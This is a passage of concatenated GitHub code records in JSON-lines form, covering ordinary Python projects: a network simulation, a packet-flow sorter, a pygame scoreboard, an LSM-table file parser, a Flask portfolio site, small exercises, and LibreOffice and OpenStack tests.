len(p.sf2eMBMS) and currTime == p.sf2eMBMS[0]: # the time is reserved to eMBMS\n resourceAllocation(1)\n p.sf2eMBMS.remove(p.sf2eMBMS[0])\n # assign resource to unicast UE\n else:\n resourceAllocation(0)\n # if there is no data needs to transmit which is first time in the period\n if not p.numRtPkt + p.numNrtPkt and p.time_unusedRB == -1 and p.sysThroughput:\n p.time_unusedRB = currTime % 5120\n\n addDelay() # add the delay time of each packet\n\n #calRou(currTime) # calculate the rou of the time\"\n\n # improving the streaming quality of unicast UE\n if not currTime % 3000 and currTime:\n for ue in p.UeList:\n if ue.numInvPkt == 0 and ue.srvQ < 7 and not ue.srv in p.setEmbmsSess: # improve the streaming quality\n ue.srvQ += 1\n ue.numInvPkt = ue.numPkt = 0\n\n # trigger eMBMS if there any UE's IPR exceeds its tolerate and reduce the streaming quality of the UE\n if not currTime % 2000 and currTime:\n for ue in p.UeList:\n if ue.numInvPkt / (ue.numPkt + 1) >= p.Tolerate[ue.srv]:\n p.incFlag = True\n if ue.srvQ > 0:\n ue.srvQ -= 1\n if p.eMBMS_triggerTime == -1:\n p.eMBMS_triggerTime = int(currTime/10) * 10 % 5120\n\n # modifying the resource for eMBMS\n if p.eMBMS_triggerTime != -1 and not currTime % (p.mcchModificationPeriod * 10) - p.eMBMS_triggerTime:\n calAvgDifRou(p.eMBMS_triggerTime) # calculate the equation (10)\n \"\"\"if p.time_unusedRB != -1: # if unused RB event was happened in the period\n calAvgDifRou(p.time_unusedRB) # calculate the equation (13)\n if p.incFlag: # increasing the resource for eMBMS\n modResourceAlloSchemeforeMBMS(0.01)\n elif p.decFlag and p.rateEmbmsRs: # decreasing the resource for eMBMS\n modResourceAlloSchemeforeMBMS(-0.01)\n else:\n modResourceAlloSchemeforeMBMS(0)\"\"\"\n modResourceAlloSchemeforeMBMS(0)\n p.time_unusedRB = -1\n allocSf2eMBMS(currTime)\n\nUeThroughput = 0\nfor ue in p.UeList:\n UeThroughput += ue.throughput\nADR = (UeThroughput/p.simTime*1000) / p.numUE\nIPR = p.numInvPkt / p.pktId\nURR = p.unusedRB / (p.NumRbsPerSf*p.simTime)\nThroughput = p.sysThroughput/p.simTime*1000\n\nworkbook = openpyxl.load_workbook('../../Desktop/SimulationReport.xlsx')\nsheet = workbook.worksheets[sht]\nrow = str(sheet.max_row+1)\nsheet['A'+row] = ADR\nsheet['B'+row] = IPR\nsheet['C'+row] = URR\nsheet['D'+row] = Throughput\nworkbook.save('../../Desktop/SimulationReport.xlsx')\nworkbook.close()","repo_name":"meng0219/eMBMS-simulation","sub_path":"simulation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"38521468497","text":"import dpkt\nimport conversation\n\nclass PacketFilter:\n def __init__(self):\n # This will become a dictionary indexed by\n # (caddr, cport, saddr, sport) tuples with\n # values that are Conversation objects.\n # We use this dictionary to look up the converations that\n # packets belong to.\n self.conversations = {}\n\n def addConversation(self, c):\n self.conversations[c.caddr, c.cport, c.saddr, c.sport] = c\n\n # This function assumes all packets are TCP/IP\n # The \"main\" function should have checked this\n # This function sorts Ethernet frames into\n # Conversations\n # Does nothing with packets that are not part of\n # a Conversation\n def filterPacket(self, ts, eth):\n if type(eth) != dpkt.ethernet.Ethernet:\n raise TypeError(\"Expected dpkt.ethernet.Ethernet, received \" + str(type(eth)) + \" instead\")\n ip = eth.data\n tcp = ip.data\n\n # We check one (or both) of these against the lookup table\n # 'conversations' and add the packet to the conversation\n tuples = [ (ip.src, tcp.sport, ip.dst, tcp.dport), (ip.dst, tcp.dport, ip.src, tcp.sport) ]\n for t in tuples:\n if t in self.conversations:\n c = self.conversations[t]\n c.addPacket(ts, eth)\n break\n\n def getConversations(self):\n return self.conversations.values()\n","repo_name":"alexwebr/sshflow","sub_path":"packetfilter.py","file_name":"packetfilter.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"29661461228","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\nimport pygame\nimport pygame.font\nfrom pygame.sprite import Group\nfrom ship import Ship\n\n\nclass Scoreboard:\n \"\"\"显示得分信息的类\"\"\"\n def __init__(self, ai_settings, screen, stats):\n \"\"\"初始化得分涉及的属性\"\"\"\n self.screen = screen\n self.screen_rect = screen.get_rect()\n self.ai_settings = ai_settings\n self.stats = stats\n\n # 显示得分信息时使用的字体设置\n self.text_color = (30, 30, 30)\n self.font = pygame.font.SysFont(None,24)\n\n # 准备初始化得分图像\n self.prep_score()\n self.prep_ships()\n self.prep_high_score()\n self.prep_level()\n\n def prep_score(self):\n \"\"\"将得分渲染为图像\"\"\"\n rounded_score = int(round(self.stats.score, -1))\n score_str = \"SCORE: {:,}\".format(rounded_score)\n self.score_image = self.font.render(score_str, True, self.text_color, self.ai_settings.bg_color)\n\n # 将得分放在屏幕右上角\n self.score_rect = self.score_image.get_rect()\n self.score_rect.right = self.screen_rect.right - 20\n self.score_rect.top = 20\n\n def prep_high_score(self):\n \"\"\"将最高分渲染为图像\"\"\"\n high_score = int(round(self.stats.high_score, -1))\n high_score_str = \"High Score {:,}\".format(high_score)\n self.high_score_image = self.font.render(high_score_str, True, self.text_color, self.ai_settings.bg_color)\n\n # 将最高分放在屏幕顶部中央\n self.high_score_rect = self.high_score_image.get_rect()\n self.high_score_rect.centerx = self.screen_rect.centerx\n self.high_score_rect.top = self.score_rect.top\n\n def prep_level(self):\n \"\"\"将登记转换为渲染的图像\"\"\"\n self.level_image = self.font.render((\"Level: \" +str(self.stats.level)), True, self.text_color, self.ai_settings.bg_color)\n\n # 将等级方在屏幕左侧\n self.level_rect = self.level_image.get_rect()\n self.level_rect.left = self.score_rect.left\n self.level_rect.top = self.score_rect.bottom + 5\n\n def prep_ships(self):\n \"\"\"显示还剩下多少飞船\"\"\"\n self.ships = Group()\n for ship_number in range(self.stats.ships_left):\n ship = Ship(self.ai_settings, self.screen)\n ship.rect.x = 10 + ship_number * ship.rect.width\n ship.rect.y = 10\n ship.rect = ship.rect.inflate(-10, -10)\n ship.rect.normalize()\n ship.rect = ship.rect.fit(ship.rect)\n\n print(\"2:\",ship.rect)\n self.ships.add(ship)\n\n def show_score(self):\n \"\"\"在屏幕上显示得分\"\"\"\n self.screen.blit(self.score_image, self.score_rect)\n self.screen.blit(self.high_score_image, self.high_score_rect)\n self.screen.blit(self.level_image, self.level_rect)\n # 绘制飞船\n self.ships.draw(self.screen)\n\n","repo_name":"wjainiya/Alien_game1","sub_path":"scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42376558608","text":"import sys\n\n\nTest = int(sys.stdin.readline())\ntest_case = []\n#Test case 받기\nfor i in range(Test):\n k = int(sys.stdin.readline())\n n = int(sys.stdin.readline())\n test_case.append([k,n])\n\ndef S(k, n):\n model = []\n for i in range(k+1):\n line = []\n for j in range(n):\n line.append(0) # 안쪽 리스트에 0 추가\n model.append(line) # 전체 리스트에 안쪽 리스트를 추가\n for floor in range(k+1):\n for room in range(n):\n if floor == 0:\n model[floor][room] = room + 1\n elif room == 0:\n model[floor][room] = 1\n else:\n model[floor][room] = model[floor-1][room] + model[floor][room-1]\n\n return model[k][n-1]\n\n\nfor i in range(Test):\n print(S(test_case[i][0], test_case[i][1]))\n\n\n#\n# 1, 3 = [0, 3] + [1, 2]\n# [k, n] = [k-1, n] + [k, n-1]\n\n\n\n\n\n\n#\n# for test_count in range(Test):\n# a = int(sys.stdin.readline())\n# b = int(sys.stdin.readline())\n#\n# tmp_list_1 = []\n# tmp_list_1.append(S(b))\n# print(tmp_list_1)\n# for i in range(1, b+1):\n# tmp_list_2 = [1]\n# for j in range(a):\n# tmp_list_2.append(tmp_list_1[i-1][j]+tmp_list_2[j-1])\n# print(tmp_list_2)\n# tmp_list_1.append(tmp_list_2)\n# print(tmp_list_1)\n# # print(tmp_list_1[b][a])\n#\n#\n# #\n# # for\n# #\n# #\n# # print(answer)\n#\n\n # test[k][n] = test[k][n-1] + test[k-1][n]\n","repo_name":"Chaaany/boj_answer","sub_path":"boj_2775.py","file_name":"boj_2775.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29169686010","text":"# -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*-\n#\n# This file is part of the LibreOffice project.\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n#\nfrom uitest.framework import UITestCase\nfrom uitest.uihelper.common import get_state_as_dict, get_url_for_data_file\nfrom libreoffice.uno.propertyvalue import mkPropertyValues\nfrom uitest.uihelper.common import change_measurement_unit\n\nclass tdf99711(UITestCase):\n def test_tdf99711(self):\n\n with self.ui_test.load_file(get_url_for_data_file(\"shape.odt\")):\n\n with change_measurement_unit(self, \"Millimeter\"):\n\n xWriterDoc = self.xUITest.getTopFocusWindow()\n xWriterEdit = xWriterDoc.getChild(\"writer_edit\")\n\n self.xUITest.executeCommand(\".uno:JumpToNextFrame\")\n\n self.xUITest.executeCommand(\".uno:Sidebar\")\n xWriterEdit.executeAction(\"SIDEBAR\", mkPropertyValues({\"PANEL\": \"TextPropertyPanel\"}))\n\n #wait until the sidebar is available\n xChild = self.ui_test.wait_until_child_is_available('selectwidth')\n self.assertEqual(get_state_as_dict(xChild)['Text'], '10.00 mm')\n\n xChild = self.ui_test.wait_until_child_is_available('selectheight')\n self.assertEqual(get_state_as_dict(xChild)['Text'], '10.00 mm')\n\n self.xUITest.executeCommand(\".uno:Sidebar\")\n\n# vim: set shiftwidth=4 softtabstop=4 expandtab:\n","repo_name":"LibreOffice/core","sub_path":"sw/qa/uitest/sidebar/tdf99711.py","file_name":"tdf99711.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":2194,"dataset":"github-code","pt":"52"} +{"seq_id":"41662589571","text":"import matplotlib.pyplot as plt\nimport time\n\nimport numpy as np\n\nimport unagi\n\nfrom unagi.utils import load_data\n\n\n#\n# Train\n\n# dataset shape = ( 250, 64, 64, 3) 250 samples, images: 64x64x3\ntrain_x_orig, train_y, test_x_orig, test_y, classes = load_data( \n '../datasets/train_catvnoncat.h5', '../datasets/test_catvnoncat.h5')\n\n# Reshape the training and test examples \ntrain_x_flatten = train_x_orig.reshape(train_x_orig.shape[0], -1).T # The \"-1\" makes reshape flatten the remaining dimensions\ntest_x_flatten = test_x_orig.reshape(test_x_orig.shape[0], -1).T\n\n# Standardize data to have feature values between 0 and 1.\ntrain_x = train_x_flatten/255.\ntest_x = test_x_flatten/255.\n\ntic = time.time()\n\n#Hyperparameters (most -> less important)\nlearning_rate = 0.0075\n#Beta = 0.9\nlayers = [12288, 20, 7, 5, 1]\nbatch_size = 32\nweight_decay = 0.7\ndrop_out = 0\n#learning_rate_decay = 1\n#Beta1, Beta2, Epsilon\n#^\n\nmodel = unagi.nn( layers)\n\nmodel.set_seed(1)\n\nmodel.optimizer.set_learning_rate( learning_rate)\n\n#model.set_loss( Sigmoid_Cross_Entropy())\n\n#model.setInitialization(Unagi.initialization.xavier())\n#model.setOptimizer( Unagi.optimizer.GradientDescent(learning_rate = 0.0075))\nmodel.train( train_x,\n train_y, \n \t epochs = 2500,\n batch_size = batch_size,\n lambd = weight_decay,\n drop_out = drop_out)\n\nprint(\"Total training time: {0:.3f} secs\".format(time.time()-tic))\n\n\n# plot the cost\nplt.plot(np.squeeze(model.costs))\nplt.ylabel('cost')\nplt.xlabel('iterations (per tens)')\nplt.title(\"Learning rate =\" + str(learning_rate))\nplt.show()\n\n\n#\n# Test\n#\npred_train = model.predict(train_x)\nprint(\"Accuracy Train: \" + str(np.sum((pred_train == train_y)/train_y.shape[1])))\n\npred_train = model.predict(test_x)\nprint(\"Accuracy Test: \" + str(np.sum((pred_train == test_y)/test_y.shape[1])))\n\n","repo_name":"Legrandk/unagi","sub_path":"test/test_nn.py","file_name":"test_nn.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34227633918","text":"import re\nimport json\nimport requests\nimport threading\nimport feedparser\nfrom app import app\nfrom io import BytesIO\nfrom decouple import config\nfrom flask_mail import Message\nfrom urllib.request import ProxyHandler\nfrom flask_paginate import Pagination\nfrom flask import ( render_template,\n request, current_app, \n flash, url_for, \n redirect, send_file )\n\n@app.route(\"/\")\ndef home():\n return render_template(\"home.html\")\n\n@app.route(\"/download\", methods=['GET'])\ndef download():\n try:\n url = config('RESUME_URL')\n response = requests.get(url)\n if response.status_code == 200:\n file_content = response.content\n file_name = \"resume-deba.pdf\"\n return send_file(\n BytesIO(file_content),\n as_attachment=True,\n download_name=file_name,\n mimetype=\"application/pdf\"\n )\n else:\n flash(\"Unable to get resume.\")\n return redirect(url_for('home'))\n except Exception as e:\n flash(f\"Unable to get resume.\")\n return redirect(url_for('home'))\n\ndef get_summary(full_summary):\n summary = re.sub(r'<.*?>','',full_summary)\n words = summary.split(\" \")\n if len(words) < 20:\n return summary + \" ...\"\n summary = \"\"\n summary = \" \".join(words[i] for i in range(0, 20))\n summary += \" ...\"\n return summary\n\ndef get_proxy():\n res = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all')\n proxy = res.text.split('\\r\\n')\n return proxy\n\n@app.route('/blogs', methods=['GET'])\ndef blogs():\n # proxy = get_proxy()\n # proxy_handler = ProxyHandler({'http': f\"http://{proxy}\"})\n # rss_url = config('RSS_URL')\n # feed = feedparser.parse(rss_url, handlers=[proxy_handler])\n # with open(\"./tests/sample_posts.json\", \"r\") as f:\n # feed = json.loads(f.read())\n page = int(request.args.get('page', 1))\n per_page = 5\n offset = (page - 1) * per_page\n blogs = [{'title': entry['title'], 'author': entry['author'], 'summary': get_summary(entry['summary']),\n 'published': entry['published'], 'link': entry['link']} for entry in feed['entries']]\n total = len(blogs)\n total_pages = (total + per_page - 1) // per_page\n items_pagination = blogs[offset:offset+per_page]\n pagination = Pagination(page=page, per_page=per_page, offset=offset, total=total)\n return render_template('blogs.html', blogs=blogs, pagination=pagination, items=items_pagination, total_pages=total_pages)\n \ndef send_email(name, email, message):\n with app.app_context():\n recipients = config('RECIPIENTS').split(',')\n msg = Message(\n f\"Message from {name} via portfolio\",\n sender=email,\n recipients=recipients\n )\n msg.body = message\n msg.body += f\"\\n\\nFrom: {email}\"\n current_app.mail.send(msg)\n\n@app.route(\"/contact\", methods=['GET', 'POST'])\ndef contact():\n if request.method == 'POST':\n name = str(request.form.get('name'))\n email = str(request.form.get('email'))\n message = str(request.form.get('message'))\n\n if config('DEPLOYMENT') == \"vercel\":\n send_email(name, email, message)\n else:\n send_email_thread = threading.Thread(\n target=send_email, args=(name, email, message))\n send_email_thread.start()\n\n flash(\"Message sent successfully\")\n return redirect(url_for('contact'))\n return render_template(\"contact.html\")\n","repo_name":"DGclasher/whoisdg","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15706314025","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport os\nimport logging.handlers\nimport struct\nimport snappy\n\nfrom .util import uvarint, put_uvarint, maybe_encode_hex\n\nblock_type_index = \"index\"\nblock_type_data = \"data\"\nblock_type_meta_index = \"meta_index\"\nblock_type_filter = \"filter\"\n\nblockTrailerLen = 5\nfooterLen = 48\ngoleveldb_magic = b\"\\x57\\xfb\\x80\\x8b\\x24\\x75\\x47\\xdb\"\n\n# rocksdb \n# 0x88e241b785f4cff7 little \nrocksdb_magic = b'\\xf7\\xcf\\xf4\\x85\\xb7A\\xe2\\x88'\nrocksdb_footerlen = 1+2*20+4+8\n\nmax_footer_len = max(footerLen, rocksdb_footerlen)\n\nkeyTypeDel = 0\nkeyTypeVal = 1\n\n# metaindex block key\n# rocksdb \nkPropertiesBlock = \"rocksdb.properties\"\nkCompressionDictBlock = \"rocksdb.compression_dict\"\nkRangeDelBlock = \"rocksdb.range_del\"\n\n\nclass BlockHandle:\n def __init__(self, offset, length):\n self.offset = offset\n self.length = length\n\n def __str__(self) -> str:\n return \"(off:{}, len:{})\".format(self.offset, self.length)\n\n\nclass InternalKey:\n def __init__(self, ikey) -> None:\n ukey, seq, kt = parse_internal_key(ikey)\n self.ukey = maybe_encode_hex(ukey)\n self.seq = seq\n self.kt = kt\n\n def __str__(self) -> str:\n return \"key:{}\\nseq:{}\\nkt:{}\".format(self.ukey, self.seq, self.kt)\n\nclass Footer:\n def __init__(self, data) -> None:\n self.raw_data = data\n\n self.version = None\n self.checksum_type = None\n self.magic = None\n\n self.meta_bh = None\n self.index_bh = None\n\n self.sst_type = None\n\n self.parse(data)\n\n def __str__(self) -> str:\n return \"---- Footer details: ----\\n\\tversion:{}\\n\\tchecksum_type:{}\\n\\tmagic:{}\\n\\tmeta_bh:{}\\n\\tindex_bh:{}\\n\\tsst_type:{}\\n\\t\".format(\n self.version, self.checksum_type, self.magic, self.meta_bh, self.index_bh, self.sst_type)\n\n def parse(self, raw_data):\n assert footerLen <= len(raw_data) <= max_footer_len\n\n # 校验魔数\n pos = len(raw_data) - 8\n if raw_data[pos: pos+8] == goleveldb_magic:\n self.sst_type = \"goleveldb\"\n elif raw_data[pos: pos+8] == rocksdb_magic:\n self.sst_type = \"rocksdb\"\n else:\n print(\"magic is invalid\")\n raise\n \n # leveldb: metaindex(20) / index(20) / magic(8)\n\n pos = 0\n if self.sst_type == \"rocksdb\":\n # rocksdb: checksum_type(1) / metaindex(20) / index(20) / version(4) / magic(8)\n ver_ptr = max_footer_len - 8 - 4\n self.version = struct.unpack(\" None:\n self.type = block_type\n self.bh = bh\n self.data = data\n self.restarts_len = restarts_len\n self.restarts_offset = restarts_offset\n\n self.offset = 0\n self.prev_offset = 0\n self.key = b\"\"\n self.value = b\"\"\n\n def header(self):\n header = {\n \"type\": \"type\",\n \"bh\": \"bh\",\n \"data\": \"data\",\n \"restarts_len\": \"restarts_len\",\n \"restarts_offset\": \"restarts_offset\",\n }\n return list(header.keys())\n\n def generate_row(self):\n headers = self.header()\n row = []\n for h in headers:\n value = getattr(self, h)\n if isinstance(value, list):\n value = \"len:{}\".format(len(value))\n if h == \"data\":\n value = \"len:{}\".format(len(value))\n row.append(value)\n return row\n\n def __str__(self):\n return \"Block: bh:{}\\n\\tdata/{}: {}...\\n\\trestarts_len: {}\\n\\trestarts_offset: {}\".format(\n self.bh, len(\n self.data), self.data[:16], self.restarts_len, self.restarts_offset\n )\n\n def entry(self, offset):\n if offset >= self.restarts_offset:\n if offset != self.restarts_offset:\n raise\n return b\"\", b\"\", 0, 0\n # 共享字节数\n v0, n0 = uvarint(self.data[offset:])\n # 非共享字节数\n v1, n1 = uvarint(self.data[offset + n0:])\n # value 长度\n v2, n2 = uvarint(self.data[offset+n0+n1:])\n\n # 前面三个数字的总字节数\n m = n0+n1+n2\n # 这条 entry 的总字节数\n n = m + v1 + v2\n\n if n0 <= 0 or n1 <= 0 or n2 <= 0 or offset + n > self.restarts_offset:\n raise\n\n # 非共享的 key\n key = self.data[offset + m: offset+m + v1]\n # value\n value = self.data[offset + m + v1:offset + n]\n # 共享的字节数\n nshared = v0\n\n return key, value, nshared, n\n\n def Next(self):\n key, value, nshared, n = self.entry(self.offset)\n if n == 0:\n # 结束\n return False\n\n self.key = self.key[:nshared] + key\n self.value = value\n self.prev_offset = self.offset\n self.offset += n\n\n return True\n\n def Key(self):\n return self.key\n\n def Value(self):\n return self.value\n\n def Scan(self, fn):\n while self.Next():\n fn(self.Key(), self.Value())\n\n\nclass Sst:\n def __init__(self, path):\n assert path is not None\n self.path = path\n\n fd = os.open(path, os.O_RDONLY)\n self.fd = fd\n assert fd is not None\n\n stat = os.fstat(fd)\n size = stat.st_size\n self.size = size\n\n self.footer = self.read_footer()\n self.meta_bh, self.index_bh = self.footer.meta_bh, self.footer.index_bh\n\n def read_block(self, block_type, bh, verifyCrc):\n data = self.read_raw_block(bh, verifyCrc)\n\n restarts_len = struct.unpack(\"> 8, seq_kt & 0xff\n if kt > keyTypeVal:\n raise\n ukey = ikey[:len(ikey)-8]\n return ukey, seq, kt\n","repo_name":"154650362/readcode-goleveldb-master","sub_path":"manualtest/parser/db/sst.py","file_name":"sst.py","file_ext":"py","file_size_in_byte":8480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"37578338179","text":"from btree import LinkedBinaryTree\nimport random\nimport copy\n\n\nclass Board:\n COMPUTER_SIGN = \"X\"\n HUMAN_SIGN = \"O\"\n\n def __init__(self):\n self.board = [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n self.last_move = None\n\n def add_move(self, move):\n moves_dct = {\"1\": (0, 0), \"2\": (0, 1), \"3\": (0, 2),\n \"4\": (1, 0), \"5\": (1, 1), \"6\": (1, 2),\n \"7\": (2,0), \"8\": (2, 1), \"9\": (2, 2)}\n last_move_r = moves_dct[move][0]\n last_move_c = moves_dct[move][1]\n self.board[last_move_r][last_move_c] = Board.HUMAN_SIGN\n\n @staticmethod\n def get_empties(board):\n empties = []\n for i in range(3):\n for j in range(3):\n if board[i][j] == ' ':\n empties.append((i, j))\n return empties\n\n @staticmethod\n def get_result(board):\n lines = []\n for i in range(3):\n lines.append(list(set(board[i])))\n lines.append(list(set([w[0] for w in board])))\n lines.append(list(set([board[i][i] for i in range(3)])))\n lines.append(list(set([board[i][2 - i] for i in range(3)])))\n for line in lines:\n if len(line) == 1:\n if line[0] == \" \":\n continue\n elif line[0] == Board.COMPUTER_SIGN:\n return 1\n else:\n return -1\n if not Board.get_empties(board):\n return 0\n return 2\n\n @staticmethod\n def get_points(tree):\n points = 0\n\n def res_recurse(tree, points):\n board = tree.key\n board_result = Board.get_result(board)\n if board_result == 2:\n points += res_recurse(tree.left, points)\n points += res_recurse(tree.right, points)\n return points\n else:\n points += board_result\n return points\n return res_recurse(tree, points)\n\n def build_tree(self):\n tree = LinkedBinaryTree(self.board)\n\n def recurse(board, tree, prev_move):\n empties = Board.get_empties(board)\n if len(empties) == 1:\n pos = empties[0]\n board1 = copy.deepcopy(board)\n board1[pos[0]][pos[1]] = Board.COMPUTER_SIGN\n board2 = copy.deepcopy(board)\n board2[pos[0]][pos[1]] = Board.COMPUTER_SIGN\n tree.insert_left(board1)\n tree.insert_right(board2)\n return\n else:\n pos1 = random.choice(empties)\n empties.remove(pos1)\n pos2 = random.choice(empties)\n board1 = copy.deepcopy(board)\n board2 = copy.deepcopy(board)\n if prev_move == Board.COMPUTER_SIGN:\n curr_move = Board.HUMAN_SIGN\n else:\n curr_move = Board.COMPUTER_SIGN\n board1[pos1[0]][pos1[1]] = curr_move\n board2[pos2[0]][pos2[1]] = curr_move\n tree.insert_left(board1)\n tree.insert_right(board2)\n recurse(board1, tree.get_left(), curr_move)\n recurse(board2, tree.get_right(), curr_move)\n\n recurse(self.board, tree, Board.HUMAN_SIGN)\n\n points_left = Board.get_points(tree.left)\n points_right = Board.get_points(tree.right)\n if points_left > points_right:\n return tree.left.key\n else:\n return tree.right.key\n\n def gen_computer_move(self):\n tree = self.build_tree()\n self.board = tree\n\n def end_game(self):\n result = Board.get_result(self.board)\n if result == 1:\n return \"Computer won.\"\n elif result == -1:\n return \"Human won.\"\n elif result == 0:\n return \"Draw.\"\n else:\n return False\n\n def __str__(self):\n board_str = []\n sups = [u\"\\u00B9\", u\"\\u00B2\", u\"\\u00B3\", u\"\\u2074\", u\"\\u2075\",\n u\"\\u2076\", u\"\\u2077\", u\"\\u2078\", u\"\\u2079\"]\n for i in range(len(self.board)):\n high_str = f\" {sups[i*3]}| {sups[i*3+1]}| {sups[i*3+2]}\\n\"\n mid_str = f\" {self.board[i][0]} | {self.board[i][1]} | {self.board[i][2]}\\n\"\n board_str.append(high_str + mid_str)\n board_str = \"___|___|___\\n\".join(board_str)\n board_str += \" | |\"\n return board_str\n\n\nif __name__ == '__main__':\n board = Board()\n print(board)\n print(board.get_result(board.board))\n","repo_name":"MarianDubei/TicTacToe","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31258893344","text":"str1=\"aaaabbbbbcckkrrr\"\ncomp_word=\"\"\n\nif len(str1) == 0:\n\tprint(\"0 length\")\nif len(str1) == 1:\n print(str1 + \"1\")\n\ncnt=1\ni=1\n\nwhile i < len(str1):\n\t#print str1[i]\n\tif str1[i]==str1[i-1]:\n\t\tcnt+=1\n\n\n\telse:\n\t\tcomp_word+= str1[i-1]+str(cnt)\n\t\tcnt=1\n\n\ti+=1\n\ncomp_word+= str1[i-1]+str(cnt)\nprint(comp_word)\n\t\n\n\t\n\n\n\n","repo_name":"apoorva2506/CTCI","sub_path":"Arrays & Strings/stringCompress.py","file_name":"stringCompress.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38243508110","text":"from validator_collection import validators, errors\n\n\ndef main():\n print(email_address(input(\"Email Address:\")))\n\n\ndef email_address(e_mail):\n\n try:\n if validators.email(e_mail, allow_empty = True):\n return \"Valid\"\n else:\n return \"Invalid\"\n except errors.InvalidEmailError:\n return \"Invalid\"\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"divyanshu-github2295/Python","sub_path":"response/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8398173306","text":"import unittest\nfrom nose.exc import SkipTest\nfrom nose.plugins.attrib import attr\nfrom .. import api, config\n\n\nex_train = config.example_train\n\n\nclass ApiTestCase(unittest.TestCase):\n\n def setUp(self):\n api.auto_retry = False\n api.request_delay = 3\n\n @attr('ddos')\n def test_connection(self):\n base_url = \"http://robopoker.org/icfp/train\"\n api.call_url = lambda x: base_url + \"?sleep=40\"\n api.timeout = 1\n with self.assertRaises(api.Timeout):\n result = api.train()\n api.call_url = api.default_call_url\n api.auto_retry = api.default_auto_retry\n api.timeout = api.default_timeout\n\n @attr('ddos')\n def test_train(self):\n result = api.train(20, \"tfold\")\n self.assertEquals(result[\"size\"], 20)\n\n @attr('ddos')\n def test_eval(self):\n with self.assertRaises(api.AlreadySolvedException) as ex:\n result = api.eval([1], ex_train[\"id\"])\n problem = api.train(3)\n result = api.eval([1], None, problem[\"challenge\"])\n self.assertEquals(result[\"status\"], \"ok\")\n\n @attr('ddos')\n def test_guess(self):\n with self.assertRaises(api.AlreadySolvedException) as ex:\n api.guess(ex_train[\"id\"], ex_train[\"challenge\"])\n problem = api.train(3)\n result = api.guess(problem[\"id\"], '(lambda (x) (plus x 1))')\n self.assertEquals(result[\"status\"], \"mismatch\")\n self.assertEquals(len(result[\"values\"]), 3)\n result = api.guess(problem[\"id\"], problem[\"challenge\"])\n self.assertEquals(result[\"status\"], \"win\")\n","repo_name":"vbo/icfp2013","sub_path":"solution/test/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"36560337450","text":"import datetime\n\nimport iso8601\nimport mock\nfrom oslo_utils.fixture import uuidsentinel\n\nfrom nova.api.openstack.compute import availability_zone as az_v21\nfrom nova.api.openstack.compute import servers as servers_v21\nfrom nova import availability_zones\nfrom nova.compute import api as compute_api\nfrom nova import context\nfrom nova.db import api as db\nfrom nova import exception\nfrom nova import objects\nfrom nova import test\nfrom nova.tests.unit.api.openstack import fakes\nfrom nova.tests.unit.image import fake\nfrom nova.tests.unit import matchers\nfrom nova.tests.unit.objects import test_service\n\n\nFAKE_UUID = fakes.FAKE_UUID\n\n\ndef fake_service_get_all(context, filters=None, **kwargs):\n disabled = filters.get('disabled') if filters else None\n\n def __fake_service(binary, availability_zone,\n created_at, updated_at, host, disabled):\n db_s = dict(test_service.fake_service,\n binary=binary,\n availability_zone=availability_zone,\n available_zones=availability_zone,\n created_at=created_at,\n updated_at=updated_at,\n host=host,\n disabled=disabled)\n # The version field is immutable so remove that before creating the obj\n db_s.pop('version', None)\n return objects.Service(context, **db_s)\n\n if disabled:\n svcs = [__fake_service(\"nova-compute\", \"zone-2\",\n datetime.datetime(2012, 11, 14, 9, 53, 25, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 25, 0),\n \"fake_host-1\", True),\n __fake_service(\"nova-scheduler\", \"internal\",\n datetime.datetime(2012, 11, 14, 9, 57, 3, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 25, 0),\n \"fake_host-1\", True),\n __fake_service(\"nova-network\", \"internal\",\n datetime.datetime(2012, 11, 16, 7, 25, 46, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 24, 0),\n \"fake_host-2\", True)]\n else:\n svcs = [__fake_service(\"nova-compute\", \"zone-1\",\n datetime.datetime(2012, 11, 14, 9, 53, 25, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 25, 0),\n \"fake_host-1\", False),\n __fake_service(\"nova-sched\", \"internal\",\n datetime.datetime(2012, 11, 14, 9, 57, 3, 0),\n datetime.datetime(2012, 